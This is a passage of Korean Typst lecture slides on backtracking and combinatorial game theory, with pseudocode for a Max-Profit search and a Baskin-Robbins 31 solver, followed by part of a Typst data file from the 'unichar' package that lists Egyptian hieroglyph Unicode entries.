- 특정한 조건을 만족하는 배치를 전부 탐색할 때 쓰는 기법
- 한 수를 놓아 보고 안 되면 퇴각
- 일반적으로 다음에 놓을 수와 지금까지 놓은 수에 대한 정보를 매개변수로 하는 재귀 함수
#pagebreak()
- 돈이 $M$원 있다. $N$개의 품목의 가격은 $C_i > 0$이고 만족도는 $P_i$이다. 최대 만족도는?
#algorithm({
import algorithmic: *
Function("Max-Profit", args: ([$M$], [$N$], [$C$], [$P$]))
Assign[$m$][0 #Ic[최대 만족도]]
For(
cond: [$i <- 0$ *until* $N$],
If(
cond: [$M >= C_i$],
Assign([$p$], [$P_i +$ #CallI("Max-Profit", [$M - C_i$, $N$, $C$, $P$])]),
Assign([$m$], $max(m, p)$)
)
)
Return[$m$]
})
- $C_i = 1$이면 $N$개 품목마다 #func[Max-Profit($M - 1$)]을 호출: $cal(O)(N^M)$
#pagebreak()
- 최적화: $1 -> 2 -> 1$과 $1 -> 1 -> 2$는 같다!
#algorithm({
import algorithmic: *
Function("Max-Profit", args: ([$M$], [$N$], [$C$], [$P$], [$i$]))
If(
cond: [$i = N$],
Return[$0$]
)
Assign[$m$][0]
Assign($c$)[0 #Ic[$i$번 품목 구매 개수]]
While(
cond: [$c times C_i <= M$],
Assign([$p$], [$c times P_i +$ #CallI("Max-Profit", [$M - c times C_i$, $N$, $C$, $P$, $i + 1$])]),
Assign([$m$], $max(m, p)$),
Assign([$c$], $c + 1$),
)
Return[$m$]
})
- $attach(Pi, bl: N, br: M)$가지 $i$의 배치 중 *순서를 강제*\했으므로, $cal(O)(attach(H, bl: N, br: M))$
#pagebreak()
- 각 배치를 출력해 보자!
#algorithm({
import algorithmic: *
Function("Max-Profit", args: ([$M$], [$N$], [$C$], [$P$], [$i$], [$R$]))
If(
cond: [$i = N$],
Call("Print", [$R$]),
Return[$0$],
)
State[...]
While(
cond: [$c times C_i <= M$],
[*append* $i$ to $R$],
Assign([$p$], [$c times P_i +$ #CallI("Max-Profit", [$M - c times C_i$, $N$, $C$, $P$, $i + 1$])]),
[*remove* $i$ from $R$ #Ic[퇴각]],
[...]
)
Return[$m$]
})
]
#slide.slide([게임 이론])[
- 주어진 게임에서 서로가 최선을 다할 때 승리 / 패배하는 사람은 누구이며, 필승 전략은 무엇인가?
- 여기서 다루는 게임은 *조합론적 게임*
- 2인이 번갈아 진행하며
- 모든 정보가 공개되어 있고
- 비기는 경우가 없는 게임
- 두 플레이어가 같은 상황에 놓였다면 같은 선택을 함
- 서로가 최선을 다한다는 조건을 최대한 이용해서 풀기
#pagebreak()
- 더 이상 진행할 수 없는 사람이
- 패배: 일반 게임
- 승리: 미제르 게임
- 일반 게임의 경우, 더 이상 진행할 수 없는 상황을 만드는 것이 목표
- 다음 수가 이기는 수인지 지는 수인지 확정할 수 있다면 이전 수도 확정
- 더 이상 진행할 수 없는 상황으로부터 다이나믹 프로그래밍을 통해 각 상황에서의 승패를 확정 가능
#pagebreak()
- 배스킨라빈스 31
- 31을 외치면 *패배*
- 30을 외치고 31에서 상대가 패배 -> *승리* 가능
- 30, 31을 외치고 패배 가능
- ...
- 다음 상황이 모두 (상대의) *패배*\라면 *승리*\하는 수
- 다음 상황이 하나라도 (상대의) *승리*\라면 *패배*\하는 수
- *승리*\하는 수가 하나라도 있으면 *승리*
#pagebreak()
#algorithm({
import algorithmic: *
Function("Is-First-Win", args: ([$n$], ))
If(
cond: [$n >= 31$],
Return[*false*],
)
If(
cond: [#CallI("Is-First-Win")[$n+1$] *or* #CallI("Is-First-Win")[$n+2$] *or* #CallI("Is-First-Win")[$n+3$]],
Return[*false*],
)
Return[*true*]
})
#algorithm({
import algorithmic: *
Function("Is-First-Win-Iterative", args: ([$n$], ))
Assign[table][${}$]
Assign[table$[31]$, table$[32]$, table$[33]$][*false*]
For(
cond: [$i = 30$ *downto* $n$],
Assign[table$[i]$][*not*(table$[i+1]$ *or* table$[i+2]$ *or* table$[i+3]$)]
)
Return[table[$n$]]
})
]
#slide.slide([과제])[
- #slide.problem("15649", "N과 M (1)")
- #slide.problem("30242", "N-Queen (Easy)")
- #slide.problem("14889", "스타트와 링크")
- #slide.problem("1799", "비숍")
- #slide.problem("9655", "돌 게임")
- #slide.problem("2040", "수 게임")
] |
|
https://github.com/typst/packages | https://raw.githubusercontent.com/typst/packages/main/packages/preview/unichar/0.1.0/ucd/block-13460.typ | typst | Apache License 2.0 | #let data = (
("EGYPTIAN HIEROGLYPH-13460", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13461", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13462", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13463", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13464", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13465", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13466", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13467", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13468", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13469", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1346A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1346B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1346C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1346D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1346E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1346F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13470", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13471", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13472", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13473", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13474", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13475", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13476", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13477", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13478", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13479", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1347A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1347B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1347C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1347D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1347E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1347F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13480", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13481", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13482", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13483", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13484", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13485", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13486", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13487", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13488", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13489", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1348A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1348B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1348C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1348D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1348E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1348F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13490", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13491", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13492", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13493", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13494", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13495", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13496", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13497", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13498", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13499", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1349A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1349B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1349C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1349D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1349E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1349F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134A0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134A1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134A2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134A3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134A4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134A5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134A6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134A7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134A8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134A9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134AA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134AB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134AC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134AD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134AE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134AF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134B0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134B1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134B2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134B3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134B4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134B5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134B6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134B7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134B8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134B9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134BA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134BB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134BC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134BD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134BE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134BF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134C0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134C1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134C2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134C3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134C4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134C5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134C6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134C7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134C8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134C9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134CA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134CB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134CC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134CD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134CE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134CF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134D0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134D1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134D2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134D3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134D4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134D5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134D6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134D7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134D8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134D9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134DA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134DB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134DC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134DD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134DE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134DF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134E0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134E1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134E2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134E3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134E4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134E5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134E6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134E7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134E8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134E9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134EA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134EB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134EC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134ED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134EE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134EF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134F0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134F1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134F2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134F3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134F4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134F5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134F6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134F7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134F8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134F9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134FA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134FB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134FC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134FD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134FE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-134FF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13500", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13501", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13502", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13503", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13504", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13505", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13506", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13507", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13508", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13509", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1350A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1350B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1350C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1350D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1350E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1350F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13510", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13511", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13512", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13513", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13514", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13515", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13516", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13517", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13518", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13519", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1351A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1351B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1351C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1351D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1351E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1351F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13520", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13521", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13522", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13523", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13524", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13525", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13526", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13527", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13528", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13529", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1352A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1352B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1352C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1352D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1352E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1352F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13530", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13531", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13532", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13533", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13534", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13535", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13536", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13537", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13538", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13539", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1353A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1353B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1353C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1353D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1353E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1353F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13540", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13541", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13542", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13543", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13544", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13545", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13546", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13547", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13548", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13549", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1354A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1354B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1354C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1354D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1354E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1354F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13550", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13551", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13552", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13553", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13554", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13555", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13556", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13557", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13558", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13559", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1355A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1355B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1355C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1355D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1355E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1355F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13560", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13561", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13562", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13563", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13564", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13565", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13566", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13567", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13568", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13569", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1356A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1356B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1356C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1356D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1356E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1356F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13570", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13571", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13572", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13573", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13574", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13575", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13576", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13577", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13578", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13579", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1357A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1357B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1357C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1357D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1357E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1357F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13580", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13581", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13582", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13583", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13584", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13585", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13586", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13587", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13588", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13589", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1358A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1358B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1358C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1358D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1358E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1358F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13590", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13591", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13592", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13593", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13594", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13595", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13596", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13597", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13598", "Lo", 0),
("EGYPTIAN HIEROGLYPH-13599", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1359A", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1359B", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1359C", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1359D", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1359E", "Lo", 0),
("EGYPTIAN HIEROGLYPH-1359F", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135A0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135A1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135A2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135A3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135A4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135A5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135A6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135A7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135A8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135A9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135AA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135AB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135AC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135AD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135AE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135AF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135B0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135B1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135B2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135B3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135B4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135B5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135B6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135B7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135B8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135B9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135BA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135BB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135BC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135BD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135BE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135BF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135C0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135C1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135C2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135C3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135C4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135C5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135C6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135C7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135C8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135C9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135CA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135CB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135CC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135CD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135CE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135CF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135D0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135D1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135D2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135D3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135D4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135D5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135D6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135D7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135D8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135D9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135DA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135DB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135DC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135DD", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135DE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135DF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135E0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135E1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135E2", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135E3", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135E4", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135E5", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135E6", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135E7", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135E8", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135E9", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135EA", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135EB", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135EC", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135ED", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135EE", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135EF", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135F0", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135F1", "Lo", 0),
("EGYPTIAN HIEROGLYPH-135F2", "Lo", 0),
